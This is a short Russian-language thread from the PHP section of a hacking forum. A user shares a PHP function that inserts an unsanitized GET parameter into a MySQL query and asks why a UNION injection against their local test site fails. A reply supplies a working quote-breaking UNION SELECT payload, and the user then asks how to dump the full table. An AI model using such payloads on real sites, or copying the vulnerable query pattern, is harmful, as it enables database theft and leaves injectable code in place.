HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

SQL injection - Help
  #1  
Старый 20.11.2006, 20:31
mr666
Новичок
Регистрация: 19.11.2006
Сообщений: 3
С нами: 10249626

Репутация: 0
По умолчанию SQL injection - Help

Немогу понять как замутить SI. вобщем есть самописный движок на локалхосте, я ввожу в URL'e http://test1.ru/page.php?p=kontakt' и MySQL возвращает мне Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in z:\home\test1.ru\www\func.php on line 8, как я понимаю инжект возможен, но когда я пытаюсь заюзать UNION то не чё не получается: http://test1.ru/page.php?p=UNION+SELECT+*+FROM+page
В самом движке функция запроса имеет вид:

function page() {
$p=$_GET['p'];
$res=mysql_query("SELECT text FROM page WHERE param='$p' ");
$otv=mysql_fetch_array($res);
$pg=$otv['text'];
echo $pg;
Эта функция ищет параметр $P в базе и выводит сопастовимый ему text т.е. саму страницу.
В оперирует скрипт в базе с полями param,text.
Непойму как даже теперь затестить свой скрипт.
 
Ответить с цитированием

  #2  
Старый 20.11.2006, 20:50
fucker"ok
Познавший АНТИЧАТ
Регистрация: 21.11.2004
Сообщений: 1,137
С нами: 11298566

Репутация: 761


По умолчанию

переменная $p стоит в одинарных ковычках. Твой инжектор http://test1.ru/page.php?p=UNION+SELECT+*+FROM+page выполняется, как обычный запрос по поиску.
Наверно нужно что-то вроде
http://test1.ru/page.php?p='+UNION+SELECT+*+FROM+page/*

Последний раз редактировалось fucker"ok; 20.11.2006 в 20:54..
 
Ответить с цитированием

  #3  
Старый 20.11.2006, 21:54
mr666
Новичок
Регистрация: 19.11.2006
Сообщений: 3
С нами: 10249626

Репутация: 0
По умолчанию

fucker"ok ты прав.
 
Ответить с цитированием

  #4  
Старый 20.11.2006, 21:57
mr666
Новичок
Регистрация: 19.11.2006
Сообщений: 3
С нами: 10249626

Репутация: 0
По умолчанию

А как можно вывести всё таблицу, или получается скрипт выдаёт только столбец text
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...